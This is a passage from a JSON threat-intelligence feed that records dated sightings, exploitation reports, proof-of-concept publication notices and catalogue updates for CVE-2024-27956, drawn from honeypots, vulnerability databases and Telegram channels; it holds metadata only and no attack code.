"record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2719b38b-722c-4ba3-a1c0-3d0cfc8d099d", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-07-30T00:00:00Z", "date_only": false, "value": "2025-07-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-07-30)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "d732b7e0-ec77-4848-9fd8-ee6f43596d6b"}, {"timestamp": "2025-08-02T00:00:00Z", "date_only": false, "value": "2025-08-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-02)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a67afea4-6578-4090-bbc0-78ff64642553"}, {"timestamp": "2025-08-04T00:00:00Z", "date_only": false, "value": "2025-08-04T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-04)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "082d868f-56d4-4e79-b9e7-4a97c127f907"}, {"timestamp": "2025-08-10T18:27:44Z", "date_only": false, "value": "2025-08-10T18:27:44.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f2f93f16-9318-44b1-9be3-2d3346ca540c", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "99fdf4d9-65da-44d4-8ad0-f135e3278f4f"}, {"timestamp": "2025-08-19T00:00:00Z", "date_only": false, "value": "2025-08-19T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-19)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e209708e-ed45-46fb-ab1d-78a7b7b07ea1"}, {"timestamp": "2025-08-20T00:00:00Z", "date_only": false, "value": "2025-08-20T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-20)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "7445c1b3-14d9-4c28-b672-ed4701934c5d"}, {"timestamp": "2025-08-22T00:00:00Z", "date_only": false, "value": "2025-08-22T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-22)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2023da6b-5d5a-4fda-b3f6-933677d3dafd"}, {"timestamp": "2025-08-23T00:00:00Z", "date_only": false, "value": "2025-08-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-23)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5e45db8e-104f-4573-9119-5a5f33205275"}, {"timestamp": "2025-08-25T00:00:00Z", "date_only": false, "value": "2025-08-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-08-25)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "8e8ddc65-4b07-45c3-b052-b2b822c57a98"}, {"timestamp": "2025-08-29T17:32:10Z", "date_only": false, "value": "2025-08-29T17:32:10.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/Darkcrai86/e316c38224b3eaf5f0ac8e81928e7d1e", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b5eeec56-12b2-4936-a2f0-9bc65addc84f", "url": "https://gist.github.com/Darkcrai86/e316c38224b3eaf5f0ac8e81928e7d1e"}, {"timestamp": "2025-09-10T07:47:56Z", "date_only": false, "value": "2025-09-10T07:47:56.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/f2f93f16-9318-44b1-9be3-2d3346ca540c", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a4930737-5a36-4cc8-873d-bbe5e6a73030"}, {"timestamp": "2025-09-14T00:00:00Z", "date_only": false, "value": "2025-09-14T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-14)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "4ac5cfe1-d568-45fd-9b6f-790f22f816e9"}, {"timestamp": "2025-10-05T00:00:00Z", "date_only": false, "value": "2025-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-10-05)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "63c3a85d-43b4-48e2-9f2c-cfd5062a4a02", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-10-05T00:00:00Z", "date_only": false, "value": "2025-10-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-05)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "8d729eec-12ce-4714-8fe1-9362cf49516f"}, {"timestamp": "2025-10-17T21:00:04Z", "date_only": false, "value": "2025-10-17T21:00:04.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/pZwcCYQukOtRLWk7NTp5Nlaw1XUizNIAu3QSCOkD3M6Qc1s", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5434662e-3c7c-4e57-a9c2-55f228988f5f", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2025-10-23T21:13:02Z", "date_only": false, "value": "2025-10-23T21:13:02.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/a9d21043-f825-4bac-8d2b-56fb9e8343e7", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9e1bfe0c-b258-4a73-954a-8b6fae4fcdf0"}, {"timestamp": "2025-10-30T00:00:00Z", "date_only": false, "value": "2025-10-30T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-10-30)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f39e6bf8-e8fd-4962-9ced-5540350fed7d"}, {"timestamp": "2025-11-05T00:00:00Z", "date_only": false, "value": "2025-11-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-05)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5f3f4f14-87d2-42d6-b9bd-e17ff4462679"}, {"timestamp": "2025-11-10T00:00:00Z", "date_only": false, "value": "2025-11-10T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-10)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "e821f7f0-7e58-4079-bf7f-92db844b0c22", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2025-12-06T12:30:24.892Z", "date_only": false, "value": "2025-12-06T12:30:24.892267Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/concisecyber.bsky.social/post/3m7cywycdl722", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "8a900f8b-2b99-4cf4-ab1e-5ac745f3122c", "url": "https://bsky.app/profile/concisecyber.bsky.social/post/3m7cywycdl722"}, {"timestamp": "2025-12-21T00:00:00Z", "date_only": false, "value": "2025-12-21T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-21)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6ecbf5e9-12d2-4b01-bb13-4f5229e6b5a6"}, {"timestamp": "2025-12-23T00:00:00Z", "date_only": false, "value": "2025-12-23T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-23)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1331d0c2-b15c-474c-bf78-8044acecc981"}, {"timestamp": "2026-01-15T00:00:00Z", "date_only": false, "value": "2026-01-15T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-15)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "3ebc75ae-e101-476f-b48c-973475c60041"}, {"timestamp": "2026-01-18T00:00:00Z", "date_only": false, "value": "2026-01-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-18)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2c43c923-0c00-4b67-929f-b801517f49db"}, {"timestamp": "2026-02-01T00:00:00Z", "date_only": false, "value": "2026-02-01T00:00:00.000000Z", "kind": "sighting", "label": "Exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-01)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2abdec27-62db-4e1d-8f59-58ebbedb518e", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-02-05T00:00:00Z", "date_only": false, "value": "2026-02-05T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-05)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f597f919-73ba-422a-8e15-95d3a3e03153"}, {"timestamp": "2026-02-11T00:00:00Z", "date_only": false, "value": "2026-02-11T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-11)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "0c091f0f-efc8-45ca-a112-8fa61f832d37"}, {"timestamp": "2026-02-17T00:00:00Z", "date_only": false, "value": "2026-02-17T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-17)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a6a7c679-bbfb-4c96-84f4-af775a9b2a2b"}, {"timestamp": "2026-02-18T00:00:00Z", "date_only": false, "value": "2026-02-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-18)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "69ef0f1b-f211-4344-b760-10ce6ddfe7e3"}, {"timestamp": "2026-03-02T00:00:00Z", "date_only": false, "value": "2026-03-02T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-02)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b655644b-2d67-464b-be34-d999d7cc6f2f"}, {"timestamp": "2026-03-25T00:00:00Z", "date_only": false, "value": "2026-03-25T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-25)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "98570205-6e48-44c6-8dda-f4d06c0fae7d"}, {"timestamp": "2026-03-29T00:00:00Z", "date_only": false, "value": "2026-03-29T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-29)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "ea1ce589-09fd-454d-9ef8-3d466ceb19fb"}, {"timestamp": "2026-04-06T00:00:00Z", "date_only": false, "value": "2026-04-06T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-06)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "a69d45a7-ea87-416d-864d-82caa3d8fe83"}, {"timestamp": "2026-04-18T00:00:00Z", "date_only": false, "value": "2026-04-18T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-18)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "bbb5730a-3c8b-4eb1-9927-181607337228"}, {"timestamp": "2026-04-27T00:00:00Z", "date_only": false, "value": "2026-04-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-27)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b281ca01-b96d-4eb1-b15f-d61b4d48ff7c"}, {"timestamp": "2026-04-28T16:09:14.380Z", "date_only": false, "value": "2026-04-28T16:09:14.380Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "cve-2024-27956", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2026-04-28T16:09:14.380Z", "date_only": false, "value": "2026-04-28T16:09:14.380Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / Patchstack", "record": "cve-2024-27956", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-05-27T00:00:00Z", "date_only": false, "value": "2026-05-27T00:00:00.000000Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-05-27)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b4cf9eae-0a7e-41d9-bf29-a66ffb7e7b06"}, {"timestamp": "2026-06-17T07:20:40.200Z", "date_only": false, "value": "2026-06-17T07:20:40.200", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2024-27956", "record": "FKIE_CVE-2024-27956", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-19T12:46:07.428Z", "date_only": false, "value": "2026-06-19T12:46:07.428135Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/19939965-d01e-4290-a1c8-01eca1fe3f5e", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f45aee97-e49b-4a79-b10e-68702bd0296b", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/19939965-d01e-4290-a1c8-01eca1fe3f5e", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T11:11:17Z", "date_only": false, "value": "2026-06-23T11:11:17+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2024-27956", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "e820e848-8121-4bc8-91d3-4c4d8f765d99", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T11:12:13.338Z", "date_only": false, "value": "2026-06-23T11:12:13.338605Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/e820e848-8121-4bc8-91d3-4c4d8f765d99", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "63838477-433c-40bf-be87-4d7e1370bf6e", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/e820e848-8121-4bc8-91d3-4c4d8f765d99", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T14:03:29.334Z", "date_only": false, "value": "2026-06-23T14:03:29.334151Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db465781-e197-4b05-bbb8-ea995d9fe73a", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "37abce1c-c183-4c9e-a17f-d52f69f6b1c5", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/db465781-e197-4b05-bbb8-ea995d9fe73a", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-30T09:23:34.995Z", "date_only": false, "value": "2026-06-30T09:23:34.995731Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f2189a91-8d15-4f52-a745-318ef7fab2b8", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f52d8871-338d-4957-91e9-35ec721e349a", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f2189a91-8d15-4f52-a745-318ef7fab2b8", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-01T05:54:37.595Z", "date_only": false, "value": "2026-07-01T05:54:37.595566Z", "kind": "sighting", "label": "Exploited", "source": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/93bce616-4268-4352-b8b6-8fe4a386c092", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "8a4b96da-179c-4295-86f8-df6d2deb78ee", "url": "https://db.gcve.eu/known-exploited-vulnerabilities-catalog/93bce616-4268-4352-b8b6-8fe4a386c092", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-06T11:00:07.724Z", "date_only": false, "value": "2026-07-06T11:00:07.724169Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/223", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "72de5858-bb99-4e32-b7c9-2ad58c8eef04", "url": "https://t.me/ZerodayAlert/223"}, {"timestamp": "2026-07-07T00:00:19.857Z", "date_only": false, "value": "2026-07-07T00:00:19.857559Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ZerodayAlert/223", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9f6976af-624e-422c-914d-f937dc1b4950", "url": "https://t.me/ZerodayAlert/223"}, {"timestamp": "2026-07-12T00:00:17.645Z", "date_only": false, "value": "2026-07-12T00:00:17.645302Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/ZerodayAlert/223", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "512ee645-160d-43f6-8d76-1e54c4288d03", "url": "https://t.me/ZerodayAlert/223", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-20T21:00:06.774Z", "date_only": false, "value": "2026-07-20T21:00:06.774757Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/crackvaultde/962", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "eb2a3e02-d60f-4a88-b6d3-cdebcc004be3", "url": "https://t.me/crackvaultde/962"}, {"timestamp": "2026-07-21T00:00:18.530Z", "date_only": false, "value": "2026-07-21T00:00:18.530997Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/crackvaultde/962", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "f88c4001-c808-41ab-ae8c-0029a247aceb", "url": "https://t.me/crackvaultde/962"}, {"timestamp": "2026-07-22T00:00:33.626Z", "date_only": false, "value": "2026-07-22T00:00:33.626761Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/crackvaultde/962", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "29c43a19-d2ae-44dd-b3f3-8ad170dde281", "url": "https://t.me/crackvaultde/962", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-26T00:00:13.380Z", "date_only": false, "value": "2026-07-26T00:00:13.380591Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/linuxkalii/870", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "4658a26f-e321-460e-bdd1-071c34309da6", "url": "https://t.me/linuxkalii/870"}, {"timestamp": "2026-07-26T02:00:23.222Z", "date_only": false, "value": "2026-07-26T02:00:23.222794Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cyberwarehouse/416", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "832c80f6-aa3b-403b-abdc-97dd255de13e", "url": "https://t.me/cyberwarehouse/416"}, {"timestamp": "2026-07-27T00:00:20.153Z", "date_only": false, "value": "2026-07-27T00:00:20.153141Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cyberwarehouse/416", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "dade15e2-f05a-4948-8f05-50d3bac6cb16", "url": "https://t.me/cyberwarehouse/416", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-07-30T10:00:07.824Z", "date_only": false, "value": "2026-07-30T10:00:07.824432Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-29)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "ea20f95a-3ed4-44a9-bf34-448c068d8751"}, {"timestamp": "2026-08-01T10:00:05.645Z", "date_only": false, "value": "2026-08-01T10:00:05.645970Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-07-31)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "9270e76c-2778-45f6-a6b1-e1a10d858fd9"}, {"timestamp": "2026-08-03T10:42:15.625Z", "date_only": false, "value": "2026-08-03T10:42:15.625417Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-02)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "13a68e95-1217-4cee-a1a6-0ab83069a6b8"}, {"timestamp": "2026-08-04T13:00:17.929Z", "date_only": false, "value": "2026-08-04T13:00:17.929566Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pentestnotes/23", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "c10852f1-aad6-41a0-9e17-3fb11670945a", "url": "https://t.me/pentestnotes/23"}, {"timestamp": "2026-08-05T00:00:32.972Z", "date_only": false, "value": "2026-08-05T00:00:32.972818Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/pentestnotes/23", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "4129963a-9424-40a5-8583-75f9bc81dd9e", "url": "https://t.me/pentestnotes/23"}, {"timestamp": "2026-08-06T00:01:00.922Z", "date_only": false, "value": "2026-08-06T00:01:00.922365Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/pentestnotes/23", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "5687d799-2920-4665-b6cc-181bc1a6657d", "url": "https://t.me/pentestnotes/23", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-06T03:00:03.999Z", "date_only": false, "value": "2026-08-06T03:00:03.999035Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/linuxkalii/870", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "631e47df-29c0-48ce-a6bd-89614fd77be9", "url": "https://t.me/linuxkalii/870", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-06T10:00:10.538Z", "date_only": false, "value": "2026-08-06T10:00:10.538214Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-05)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "eb69e923-b02b-4618-b298-8ee11193e83f"}, {"timestamp": "2026-08-07T00:40:12.179Z", "date_only": false, "value": "2026-08-07T00:40:12.179750Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/linuxkalii/870", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "012f658b-376c-4cd1-bb0e-75458f0f2d3d", "url": "https://t.me/linuxkalii/870", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-07T10:51:09.843Z", "date_only": false, "value": "2026-08-07T10:51:09.843826Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-06)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "4d24359c-3fd9-4bc7-8b37-b3bd04a114d3"}, {"timestamp": "2026-08-10T10:00:07.505Z", "date_only": false, "value": "2026-08-10T10:00:07.505278Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-09)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "24aef12b-863c-4c96-97cb-64f12696d4fd"}, {"timestamp": "2026-08-16T19:00:03.853Z", "date_only": false, "value": "2026-08-16T19:00:03.853349Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/Mt9lPDO6WZXkxD18M0il4U8ras2fgKAEsTMf-K1dQDuLFiY", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2aa5944c-cfc1-4fb8-aeb4-436e58a37c60", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-17T10:00:21.982Z", "date_only": false, "value": "2026-08-17T10:00:21.982425Z", "kind": "sighting", "label": "Seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-16)", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "1994eb2c-301f-4abe-b063-770099f26917"}, {"timestamp": "2026-08-25T22:00:04.153Z", "date_only": false, "value": "2026-08-25T22:00:04.153290Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/poheque/138", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "2b2812dc-7ad4-47d6-a756-ed477fc4720a", "url": "https://t.me/poheque/138", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-01T17:00:06.526Z", "date_only": false, "value": "2026-09-01T17:00:06.526673Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/Hackme_news/951", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "16143435-ef1d-4ac8-ad90-498204393497", "url": "https://t.me/Hackme_news/951"}, {"timestamp": "2026-09-01T20:00:31.434Z", "date_only": false, "value": "2026-09-01T20:00:31.434984Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/140994", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "84028fcf-cdfa-4a28-9003-41532281674f", "url": "https://t.me/hacking_Attack/140994"}, {"timestamp": "2026-09-01T20:00:31.475Z", "date_only": false, "value": "2026-09-01T20:00:31.475014Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/140996", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "580c43a6-f9f9-4b95-83bc-5d98d0117fdf", "url": "https://t.me/hacking_Attack/140996"}, {"timestamp": "2026-09-03T17:00:04.846Z", "date_only": false, "value": "2026-09-03T17:00:04.846459Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/140994", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6dcd3397-15ed-4899-b771-5d85dfbea6b6", "url": "https://t.me/hacking_Attack/140994", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-03T18:00:07.843Z", "date_only": false, "value": "2026-09-03T18:00:07.843254Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/140996", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "6e4549c7-7f3a-4d04-893e-e5bb97070a73", "url": "https://t.me/hacking_Attack/140996", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-08T22:00:05.161Z", "date_only": false, "value": "2026-09-08T22:00:05.161203Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/Hackme_news/951", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "af71a1c5-078b-4e4e-909b-8dac9ddecd15", "url": "https://t.me/Hackme_news/951", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-18T04:00:09.048Z", "date_only": false, "value": "2026-09-18T04:00:09.048105Z", "kind": "sighting", "label": "Seen", "source": "Telegram/YI-zyM6R2SXtebw0qilHuE_bC29iP0vy8Cn8zxh5ugjaAgA", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "c952721e-c713-4d5b-a85e-fa88c63e9bca"}, {"timestamp": "2026-09-19T00:00:24.462Z", "date_only": false, "value": "2026-09-19T00:00:24.462213Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/YI-zyM6R2SXtebw0qilHuE_bC29iP0vy8Cn8zxh5ugjaAgA", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "7a541209-82c5-4cd4-9530-b5c3ddef33fe", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-23T11:00:12Z", "date_only": false, "value": "2026-09-23T11:00:12.000000Z", "kind": "sighting", "label": "Exploited", "source": "Telegram/3LdrFlR-LEY1MNMAeK2_oak7FbRFWnHvSLklHTRJ1hQ0h1g", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "994995d9-0d2d-4992-acbd-eeecf24cbfb0", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-23T11:00:12Z", "date_only": false, "value": "2026-09-23T11:00:12.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/3LdrFlR-LEY1MNMAeK2_oak7FbRFWnHvSLklHTRJ1hQ0h1g", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "87391577-751a-4ea6-876f-01a2f393c47e"}, {"timestamp": "2026-09-23T11:00:14Z", "date_only": false, "value": "2026-09-23T11:00:14.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/bXTe8B29Vpdagtjgt52sx8Peo2QuGkGNy3vEZKMGwNY6Yc0", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "b7387c52-81d6-45df-9a44-e81cca9596f6", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-23T11:00:14Z", "date_only": false, "value": "2026-09-23T11:00:14.000000Z", "kind": "sighting", "label": "Seen", "source": "Telegram/bXTe8B29Vpdagtjgt52sx8Peo2QuGkGNy3vEZKMGwNY6Yc0", "record": "CVE-2024-27956", "field": "creation_timestamp", "uuid": "cd626dcd-96c8-4c16-b3ef-06a947a724a5"}, {"timestamp": "2026-11-04T00:00:00Z", "date_only": false, "value": "2026-11-04T00:00:00+00:00", "kind": "kev", "label": "Last seen", "source": "shadowserver", "record": "CVE-2024-27956", "field": "timestamps.last_seen_at", "uuid": "93bce616-4268-4352-b8b6-8fe4a386c092", "status": {"status_reason": "confirmed", "exploited": true}}, 